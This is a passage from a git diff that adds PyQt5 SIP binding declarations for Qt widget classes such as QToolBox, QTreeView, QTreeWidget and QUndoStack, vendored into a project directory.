orientationChanged(Qt::Orientation orientation); + void iconSizeChanged(const QSize &iconSize); + void toolButtonStyleChanged(Qt::ToolButtonStyle toolButtonStyle); + void topLevelChanged(bool topLevel); + void visibilityChanged(bool visible); + +protected: + void initStyleOption(QStyleOptionToolBar *option) const; + virtual void actionEvent(QActionEvent *event); + virtual void changeEvent(QEvent *event); + virtual void paintEvent(QPaintEvent *event); + virtual bool event(QEvent *event); + +public: + bool isFloatable() const; + void setFloatable(bool floatable); + bool isFloating() const; +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qtoolbox.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qtoolbox.sip new file mode 100644 index 00000000..e32c483d --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qtoolbox.sip @@ -0,0 +1,64 @@ +// qtoolbox.sip generated by MetaSIP +// +// This file is part of the QtWidgets Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QToolBox : QFrame +{ +%TypeHeaderCode +#include +%End + +public: + QToolBox(QWidget *parent /TransferThis/ = 0, Qt::WindowFlags flags = Qt::WindowFlags()); + virtual ~QToolBox(); + int addItem(QWidget *item /Transfer/, const QString &text); + int addItem(QWidget *item /Transfer/, const QIcon &iconSet, const QString &text); + int insertItem(int index, QWidget *item /Transfer/, const QString &text); + int insertItem(int index, QWidget *widget /Transfer/, const QIcon &icon, const QString &text); + void removeItem(int index); + void setItemEnabled(int index, bool enabled); + bool isItemEnabled(int index) const; + void setItemText(int index, const QString &text); + QString itemText(int index) const; + void setItemIcon(int index, const QIcon &icon); + QIcon itemIcon(int index) const; + void setItemToolTip(int index, const QString &toolTip); + QString itemToolTip(int index) const; + int currentIndex() const; + QWidget *currentWidget() const; + QWidget *widget(int index) const; + int indexOf(QWidget *widget) const; + int count() const /__len__/; + +public slots: + void setCurrentIndex(int index); + void setCurrentWidget(QWidget *widget); + +signals: + void currentChanged(int index); + +protected: + virtual void itemInserted(int index); + virtual void itemRemoved(int index); + virtual bool event(QEvent *e); + virtual void showEvent(QShowEvent *e); + virtual void changeEvent(QEvent *); +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qtoolbutton.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qtoolbutton.sip new file mode 100644 index 00000000..51e6d89f --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qtoolbutton.sip @@ -0,0 +1,73 @@ +// qtoolbutton.sip generated by MetaSIP +// +// This file is part of the QtWidgets Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QToolButton : QAbstractButton +{ +%TypeHeaderCode +#include +%End + +public: + enum ToolButtonPopupMode + { + DelayedPopup, + MenuButtonPopup, + InstantPopup, + }; + + explicit QToolButton(QWidget *parent /TransferThis/ = 0); + virtual ~QToolButton(); + virtual QSize sizeHint() const; + virtual QSize minimumSizeHint() const; + Qt::ToolButtonStyle toolButtonStyle() const; + Qt::ArrowType arrowType() const; + void setArrowType(Qt::ArrowType type); + void setMenu(QMenu *menu /KeepReference/); + QMenu *menu() const; + void setPopupMode(QToolButton::ToolButtonPopupMode mode); + QToolButton::ToolButtonPopupMode popupMode() const; + QAction *defaultAction() const; + void setAutoRaise(bool enable); + bool autoRaise() const; + +public slots: + void showMenu(); + void setToolButtonStyle(Qt::ToolButtonStyle style); + void setDefaultAction(QAction * /KeepReference/); + +signals: + void triggered(QAction *); + +protected: + void initStyleOption(QStyleOptionToolButton *option) const; + virtual bool event(QEvent *e); + virtual void mousePressEvent(QMouseEvent *); + virtual void paintEvent(QPaintEvent *); + virtual void actionEvent(QActionEvent *); + virtual void enterEvent(QEvent *); + virtual void leaveEvent(QEvent *); + virtual void timerEvent(QTimerEvent *); + virtual void changeEvent(QEvent *); + virtual void mouseReleaseEvent(QMouseEvent *); + virtual void nextCheckState(); + virtual bool hitButton(const QPoint &pos) const; +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qtooltip.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qtooltip.sip new file mode 100644 index 00000000..c36d3f72 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qtooltip.sip @@ -0,0 +1,44 @@ +// qtooltip.sip generated by MetaSIP +// +// This file is part of the QtWidgets Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QToolTip +{ +%TypeHeaderCode +#include +%End + + QToolTip(); + +public: + static void showText(const QPoint &pos, const QString &text, QWidget *widget = 0); + static void showText(const QPoint &pos, const QString &text, QWidget *w, const QRect &rect); +%If (Qt_5_2_0 -) + static void showText(const QPoint &pos, const QString &text, QWidget *w, const QRect &rect, int msecShowTime); +%End + static QPalette palette(); + static void hideText(); + static void setPalette(const QPalette &); + static QFont font(); + static void setFont(const QFont &); + static bool isVisible(); + static QString text(); +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qtreeview.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qtreeview.sip new file mode 100644 index 00000000..49cc8ebf --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qtreeview.sip @@ -0,0 +1,164 @@ +// qtreeview.sip generated by MetaSIP +// +// This file is part of the QtWidgets Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QTreeView : QAbstractItemView +{ +%TypeHeaderCode +#include +%End + +public: + explicit QTreeView(QWidget *parent /TransferThis/ = 0); + virtual ~QTreeView(); + virtual void setModel(QAbstractItemModel *model /KeepReference/); + virtual void setRootIndex(const QModelIndex &index); + virtual void setSelectionModel(QItemSelectionModel *selectionModel /KeepReference/); + QHeaderView *header() const; + void setHeader(QHeaderView *header /Transfer/); + int indentation() const; + void setIndentation(int i); + bool rootIsDecorated() const; + void setRootIsDecorated(bool show); + bool uniformRowHeights() const; + void setUniformRowHeights(bool uniform); + bool itemsExpandable() const; + void setItemsExpandable(bool enable); + int columnViewportPosition(int column) const; + int columnWidth(int column) const; + int columnAt(int x) const; + bool isColumnHidden(int column) const; + void setColumnHidden(int column, bool hide); + bool isRowHidden(int row, const QModelIndex &parent) const; + void setRowHidden(int row, const QModelIndex &parent, bool hide); + bool isExpanded(const QModelIndex &index) const; + void setExpanded(const QModelIndex &index, bool expand); + virtual void keyboardSearch(const QString &search); + virtual QRect visualRect(const QModelIndex &index) const; + virtual void scrollTo(const QModelIndex &index, QAbstractItemView::ScrollHint hint = QAbstractItemView::EnsureVisible); + virtual QModelIndex indexAt(const QPoint &p) const; + QModelIndex indexAbove(const QModelIndex &index) const; + QModelIndex indexBelow(const QModelIndex &index) const; + virtual void reset(); + +signals: + void expanded(const QModelIndex &index); + void collapsed(const QModelIndex &index); + +public: + virtual void dataChanged(const QModelIndex &topLeft, const QModelIndex &bottomRight, const QVector &roles = QVector()); + +public slots: + void hideColumn(int column); + void showColumn(int column); + void expand(const QModelIndex &index); + void expandAll(); + void collapse(const QModelIndex &index); + void collapseAll(); + void resizeColumnToContents(int column); + virtual void selectAll(); + +protected slots: + void columnResized(int column, int oldSize, int newSize); + void columnCountChanged(int oldCount, int newCount); + void columnMoved(); + void reexpand(); + void rowsRemoved(const QModelIndex &parent, int first, int last); + +protected: + virtual void scrollContentsBy(int dx, int dy); + virtual void rowsInserted(const QModelIndex &parent, int start, int end); + virtual void rowsAboutToBeRemoved(const QModelIndex &parent, int start, int end); + virtual QModelIndex moveCursor(QAbstractItemView::CursorAction cursorAction, Qt::KeyboardModifiers modifiers); + virtual int horizontalOffset() const; + virtual int verticalOffset() const; + virtual void setSelection(const QRect &rect, QItemSelectionModel::SelectionFlags command); + virtual QRegion visualRegionForSelection(const QItemSelection &selection) const; + virtual QModelIndexList selectedIndexes() const; + virtual void paintEvent(QPaintEvent *e); + virtual void timerEvent(QTimerEvent *event); + virtual void mouseReleaseEvent(QMouseEvent *event); + virtual void drawRow(QPainter *painter, const QStyleOptionViewItem &options /NoCopy/, const QModelIndex &index) const; + virtual void drawBranches(QPainter *painter, const QRect &rect, const QModelIndex &index) const; + void drawTree(QPainter *painter, const QRegion ®ion) const; + virtual void mousePressEvent(QMouseEvent *e); + virtual void mouseMoveEvent(QMouseEvent *event); + virtual void mouseDoubleClickEvent(QMouseEvent *e); + virtual void keyPressEvent(QKeyEvent *event); + virtual void updateGeometries(); + virtual int sizeHintForColumn(int column) const; + int indexRowSizeHint(const QModelIndex &index) const; + virtual void horizontalScrollbarAction(int action); + virtual bool isIndexHidden(const QModelIndex &index) const; + +public: + void setColumnWidth(int column, int width); + void setSortingEnabled(bool enable); + bool isSortingEnabled() const; + void setAnimated(bool enable); + bool isAnimated() const; + void setAllColumnsShowFocus(bool enable); + bool allColumnsShowFocus() const; + void sortByColumn(int column, Qt::SortOrder order); + int autoExpandDelay() const; + void setAutoExpandDelay(int delay); + bool isFirstColumnSpanned(int row, const QModelIndex &parent) const; + void setFirstColumnSpanned(int row, const QModelIndex &parent, bool span); + void setWordWrap(bool on); + bool wordWrap() const; + +public slots: + void expandToDepth(int depth); + +protected: + virtual void dragMoveEvent(QDragMoveEvent *event); + virtual bool viewportEvent(QEvent *event); + int rowHeight(const QModelIndex &index) const; + virtual void selectionChanged(const QItemSelection &selected, const QItemSelection &deselected); + virtual void currentChanged(const QModelIndex ¤t, const QModelIndex &previous); + +public: + bool expandsOnDoubleClick() const; + void setExpandsOnDoubleClick(bool enable); + bool isHeaderHidden() const; + void setHeaderHidden(bool hide); +%If (Qt_5_2_0 -) + void setTreePosition(int logicalIndex); +%End +%If (Qt_5_2_0 -) + int treePosition() const; +%End + +protected: +%If (Qt_5_2_0 -) + virtual QSize viewportSizeHint() const; +%End + +public: +%If (Qt_5_4_0 -) + void resetIndentation(); +%End + +public slots: +%If (Qt_5_13_0 -) + void expandRecursively(const QModelIndex &index, int depth = -1); +%End +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qtreewidget.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qtreewidget.sip new file mode 100644 index 00000000..1a7a7112 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qtreewidget.sip @@ -0,0 +1,243 @@ +// qtreewidget.sip generated by MetaSIP +// +// This file is part of the QtWidgets Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QTreeWidgetItem /Supertype=sip.wrapper/ +{ +%TypeHeaderCode +#include +%End + +public: + enum ItemType + { + Type, + UserType, + }; + + explicit QTreeWidgetItem(int type = Type); + QTreeWidgetItem(const QStringList &strings, int type = Type); + QTreeWidgetItem(QTreeWidget *parent /TransferThis/, int type = Type); + QTreeWidgetItem(QTreeWidget *parent /TransferThis/, const QStringList &strings, int type = Type); + QTreeWidgetItem(QTreeWidget *parent /TransferThis/, QTreeWidgetItem *preceding, int type = Type); + QTreeWidgetItem(QTreeWidgetItem *parent /TransferThis/, int type = Type); + QTreeWidgetItem(QTreeWidgetItem *parent /TransferThis/, const QStringList &strings, int type = Type); + QTreeWidgetItem(QTreeWidgetItem *parent /TransferThis/, QTreeWidgetItem *preceding, int type = Type); + QTreeWidgetItem(const QTreeWidgetItem &other); + virtual ~QTreeWidgetItem(); + virtual QTreeWidgetItem *clone() const /Factory/; + QTreeWidget *treeWidget() const; + Qt::ItemFlags flags() const; + QString text(int column) const; + QIcon icon(int column) const; + QString statusTip(int column) const; + QString toolTip(int column) const; + QString whatsThis(int column) const; + QFont font(int column) const; + int textAlignment(int column) const; + void setTextAlignment(int column, int alignment); + Qt::CheckState checkState(int column) const; + void setCheckState(int column, Qt::CheckState state); + virtual QVariant data(int column, int role) const; + virtual void setData(int column, int role, const QVariant &value); + virtual bool operator<(const QTreeWidgetItem &other /NoCopy/) const; + virtual void read(QDataStream &in) /ReleaseGIL/; + virtual void write(QDataStream &out) const /ReleaseGIL/; + QTreeWidgetItem *parent() const; + QTreeWidgetItem *child(int index) const; + int childCount() const; + int columnCount() const; + void addChild(QTreeWidgetItem *child /Transfer/); + void insertChild(int index, QTreeWidgetItem *child /Transfer/); + QTreeWidgetItem *takeChild(int index) /TransferBack/; + int type() const; + void setFlags(Qt::ItemFlags aflags); + void setText(int column, const QString &atext); + void setIcon(int column, const QIcon &aicon); + void setStatusTip(int column, const QString &astatusTip); + void setToolTip(int column, const QString &atoolTip); + void setWhatsThis(int column, const QString &awhatsThis); + void setFont(int column, const QFont &afont); + int indexOfChild(QTreeWidgetItem *achild) const; + QSize sizeHint(int column) const; + void setSizeHint(int column, const QSize &size); + void addChildren(const QList &children /Transfer/); + void insertChildren(int index, const QList &children /Transfer/); + QList takeChildren() /TransferBack/; + QBrush background(int column) const; + void setBackground(int column, const QBrush &brush); + QBrush foreground(int column) const; + void setForeground(int column, const QBrush &brush); + void sortChildren(int column, Qt::SortOrder order); + void setSelected(bool aselect); + bool isSelected() const; + void setHidden(bool ahide); + bool isHidden() const; + void setExpanded(bool aexpand); + bool isExpanded() const; + + enum ChildIndicatorPolicy + { + ShowIndicator, + DontShowIndicator, + DontShowIndicatorWhenChildless, + }; + + void setChildIndicatorPolicy(QTreeWidgetItem::ChildIndicatorPolicy policy); + QTreeWidgetItem::ChildIndicatorPolicy childIndicatorPolicy() const; + void removeChild(QTreeWidgetItem *child /TransferBack/); + void setFirstColumnSpanned(bool aspan); + bool isFirstColumnSpanned() const; + void setDisabled(bool disabled); + bool isDisabled() const; + +protected: + void emitDataChanged(); + +private: + QTreeWidgetItem &operator=(const QTreeWidgetItem &); +}; + +QDataStream &operator<<(QDataStream &out, const QTreeWidgetItem &item /Constrained/) /ReleaseGIL/; +QDataStream &operator>>(QDataStream &in, QTreeWidgetItem &item /Constrained/) /ReleaseGIL/; + +class QTreeWidget : QTreeView +{ +%TypeHeaderCode +#include +%End + +public: + explicit QTreeWidget(QWidget *parent /TransferThis/ = 0); + virtual ~QTreeWidget(); + int columnCount() const; + void setColumnCount(int columns); + QTreeWidgetItem *topLevelItem(int index) const; + int topLevelItemCount() const; + void insertTopLevelItem(int index, QTreeWidgetItem *item /Transfer/); + void addTopLevelItem(QTreeWidgetItem *item /Transfer/); + QTreeWidgetItem *takeTopLevelItem(int index) /TransferBack/; + int indexOfTopLevelItem(QTreeWidgetItem *item) const; + void insertTopLevelItems(int index, const QList &items /Transfer/); + void addTopLevelItems(const QList &items /Transfer/); + QTreeWidgetItem *headerItem() const; + void setHeaderItem(QTreeWidgetItem *item /Transfer/); + void setHeaderLabels(const QStringList &labels); + QTreeWidgetItem *currentItem() const; + int currentColumn() const; + void setCurrentItem(QTreeWidgetItem *item); + void setCurrentItem(QTreeWidgetItem *item, int column); + void setCurrentItem(QTreeWidgetItem *item, int column, QItemSelectionModel::SelectionFlags command); + QTreeWidgetItem *itemAt(const QPoint &p) const; + QTreeWidgetItem *itemAt(int ax, int ay) const; + QRect visualItemRect(const QTreeWidgetItem *item) const; + int sortColumn() const; + void sortItems(int column, Qt::SortOrder order); + void editItem(QTreeWidgetItem *item, int column = 0); + void openPersistentEditor(QTreeWidgetItem *item, int column = 0); + void closePersistentEditor(QTreeWidgetItem *item, int column = 0); + QWidget *itemWidget(QTreeWidgetItem *item, int column) const; + void setItemWidget(QTreeWidgetItem *item, int column, QWidget *widget /Transfer/); +%MethodCode + // We have to break the association with any existing widget. Note that I'm + // not sure this is really necessary as it should get tidied up when Qt + // destroys any current widget, except (possibly) when the widget wasn't + // created from PyQt. See also removeItemWidget(), QListWidget and + // QTableWidget. + QWidget *w = sipCpp->itemWidget(a0, a1); + + if (w) + { + PyObject *wo = sipGetPyObject(w, sipType_QWidget); + + if (wo) + sipTransferTo(wo, 0); + } + + Py_BEGIN_ALLOW_THREADS + sipCpp->setItemWidget(a0, a1, a2); + Py_END_ALLOW_THREADS +%End + + QList selectedItems() const; + QList findItems(const QString &text, Qt::MatchFlags flags, int column = 0) const; + +public slots: + void scrollToItem(const QTreeWidgetItem *item, QAbstractItemView::ScrollHint hint = QAbstractItemView::EnsureVisible); + void expandItem(const QTreeWidgetItem *item); + void collapseItem(const QTreeWidgetItem *item); + void clear(); + +signals: + void itemPressed(QTreeWidgetItem *item, int column); + void itemClicked(QTreeWidgetItem *item, int column); + void itemDoubleClicked(QTreeWidgetItem *item, int column); + void itemActivated(QTreeWidgetItem *item, int column); + void itemEntered(QTreeWidgetItem *item, int column); + void itemChanged(QTreeWidgetItem *item, int column); + void itemExpanded(QTreeWidgetItem *item); + void itemCollapsed(QTreeWidgetItem *item); + void currentItemChanged(QTreeWidgetItem *current, QTreeWidgetItem *previous); + void itemSelectionChanged(); + +protected: + virtual QStringList mimeTypes() const; + virtual QMimeData *mimeData(const QList items) const /TransferBack/; + virtual bool dropMimeData(QTreeWidgetItem *parent, int index, const QMimeData *data, Qt::DropAction action); + virtual Qt::DropActions supportedDropActions() const; + QModelIndex indexFromItem(QTreeWidgetItem *item, int column = 0) const; + QTreeWidgetItem *itemFromIndex(const QModelIndex &index) const; + virtual bool event(QEvent *e); + virtual void dropEvent(QDropEvent *event); + +public: + QTreeWidgetItem *invisibleRootItem() const /Transfer/; + void setHeaderLabel(const QString &alabel); + bool isFirstItemColumnSpanned(const QTreeWidgetItem *item) const; + void setFirstItemColumnSpanned(const QTreeWidgetItem *item, bool span); + QTreeWidgetItem *itemAbove(const QTreeWidgetItem *item) const; + QTreeWidgetItem *itemBelow(const QTreeWidgetItem *item) const; + void removeItemWidget(QTreeWidgetItem *item, int column); +%MethodCode + // We have to break the association with any existing widget. + QWidget *w = sipCpp->itemWidget(a0, a1); + + if (w) + { + PyObject *wo = sipGetPyObject(w, sipType_QWidget); + + if (wo) + sipTransferTo(wo, 0); + } + + Py_BEGIN_ALLOW_THREADS + sipCpp->removeItemWidget(a0, a1); + Py_END_ALLOW_THREADS +%End + + virtual void setSelectionModel(QItemSelectionModel *selectionModel /KeepReference/); +%If (Qt_5_10_0 -) + bool isPersistentEditorOpen(QTreeWidgetItem *item, int column = 0) const; +%End + +private: + virtual void setModel(QAbstractItemModel *model /KeepReference/); +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qtreewidgetitemiterator.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qtreewidgetitemiterator.sip new file mode 100644 index 00000000..d29bb94b --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qtreewidgetitemiterator.sip @@ -0,0 +1,69 @@ +// qtreewidgetitemiterator.sip generated by MetaSIP +// +// This file is part of the QtWidgets Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QTreeWidgetItemIterator +{ +%TypeHeaderCode +#include +%End + +public: + enum IteratorFlag + { + All, + Hidden, + NotHidden, + Selected, + Unselected, + Selectable, + NotSelectable, + DragEnabled, + DragDisabled, + DropEnabled, + DropDisabled, + HasChildren, + NoChildren, + Checked, + NotChecked, + Enabled, + Disabled, + Editable, + NotEditable, + UserFlag, + }; + + typedef QFlags IteratorFlags; + QTreeWidgetItemIterator(const QTreeWidgetItemIterator &it); + QTreeWidgetItemIterator(QTreeWidget *widget, QFlags flags = All); + QTreeWidgetItemIterator(QTreeWidgetItem *item, QFlags flags = All); + ~QTreeWidgetItemIterator(); + QTreeWidgetItem *value() const; +%MethodCode + // SIP doesn't support operator* so this is a thin wrapper around it. + sipRes = sipCpp->operator*(); +%End + + QTreeWidgetItemIterator &operator+=(int n); + QTreeWidgetItemIterator &operator-=(int n); +}; + +QFlags operator|(QTreeWidgetItemIterator::IteratorFlag f1, QFlags f2); diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qundogroup.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qundogroup.sip new file mode 100644 index 00000000..f3e4b462 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qundogroup.sip @@ -0,0 +1,57 @@ +// qundogroup.sip generated by MetaSIP +// +// This file is part of the QtWidgets Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QUndoGroup : QObject +{ +%TypeHeaderCode +#include +%End + +public: + explicit QUndoGroup(QObject *parent /TransferThis/ = 0); + virtual ~QUndoGroup(); + void addStack(QUndoStack *stack); + void removeStack(QUndoStack *stack); + QList stacks() const; + QUndoStack *activeStack() const; + QAction *createRedoAction(QObject *parent /TransferThis/, const QString &prefix = QString()) const /Factory/; + QAction *createUndoAction(QObject *parent /TransferThis/, const QString &prefix = QString()) const /Factory/; + bool canUndo() const; + bool canRedo() const; + QString undoText() const; + QString redoText() const; + bool isClean() const; + +public slots: + void redo(); + void setActiveStack(QUndoStack *stack); + void undo(); + +signals: + void activeStackChanged(QUndoStack *stack); + void canRedoChanged(bool canRedo); + void canUndoChanged(bool canUndo); + void cleanChanged(bool clean); + void indexChanged(int idx); + void redoTextChanged(const QString &redoText); + void undoTextChanged(const QString &undoText); +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qundostack.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qundostack.sip new file mode 100644 index 00000000..105678df --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qundostack.sip @@ -0,0 +1,101 @@ +// qundostack.sip generated by MetaSIP +// +// This file is part of the QtWidgets Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QUndoCommand /Supertype=sip.wrapper/ +{ +%TypeHeaderCode +#include +%End + +public: + explicit QUndoCommand(QUndoCommand *parent /TransferThis/ = 0); + QUndoCommand(const QString &text, QUndoCommand *parent /TransferThis/ = 0); + virtual ~QUndoCommand(); + virtual int id() const; + virtual bool mergeWith(const QUndoCommand *other); + virtual void redo(); + void setText(const QString &text); + QString text() const; + virtual void undo(); + int childCount() const; + const QUndoCommand *child(int index) const; + QString actionText() const; +%If (Qt_5_9_0 -) + bool isObsolete() const; +%End +%If (Qt_5_9_0 -) + void setObsolete(bool obsolete); +%End + +private: + QUndoCommand(const QUndoCommand &); +}; + +class QUndoStack : QObject +{ +%TypeHeaderCode +#include +%End + +public: + explicit QUndoStack(QObject *parent /TransferThis/ = 0); + virtual ~QUndoStack(); + void clear(); + void push(QUndoCommand *cmd /Transfer/); + bool canUndo() const; + bool canRedo() const; + QString undoText() const; + QString redoText() const; + int count() const /__len__/; + int index() const; + QString text(int idx) const; + QAction *createUndoAction(QObject *parent /TransferThis/, const QString &prefix = QString()) const /Factory/; + QAction *createRedoAction(QObject *parent /TransferThis/, const QString &prefix = QString()) const /Factory/; + bool isActive() const; + bool isClean() const; + int cleanIndex() const; + void beginMacro(const QString &text); + void endMacro(); + +public slots: + void redo(); + void setActive(bool active = true); + void setClean(); + void setIndex(int idx); + void undo(); +%If (Qt_5_8_0 -) + void resetClean(); +%End + +signals: + void canRedoChanged(bool canRedo); + void canUndoChanged(bool canUndo); + void cleanChanged(bool clean); + void indexChanged(int idx); + void redoTextChanged(const QString &redoText); + void undoTextChanged(const QString &undoText); + +public: + void setUndoLimit(int limit); + int undoLimit() const; + const QUndoCommand *command(int index) const; +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qundoview.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qundoview.sip new file mode 100644 index 00000000..6547fba3 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qundoview.sip @@ -0,0 +1,44 @@ +// qundoview.sip generated by MetaSIP +// +// This file is part of the QtWidgets Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QUndoView : QListView +{ +%TypeHeaderCode +#include +%End + +public: + explicit QUndoView(QWidget *parent /TransferThis/ = 0); + QUndoView(QUndoStack *stack, QWidget *parent /TransferThis/ = 0); + QUndoView(QUndoGroup *group, QWidget *parent /TransferThis/ = 0); + virtual ~QUndoView(); + QUndoStack *stack() const; + QUndoGroup *group() const; + void setEmptyLabel(const QString &label); + QString emptyLabel() const; + void setCleanIcon(const QIcon &icon); + QIcon cleanIcon() const; + +public slots: + void setStack(QUndoStack *stack /KeepReference/); + void setGroup(QUndoGroup *group /KeepReference/); +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qwhatsthis.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qwhatsthis.sip new file mode 100644 index 00000000..c8d23d85 --- /dev/null +++ 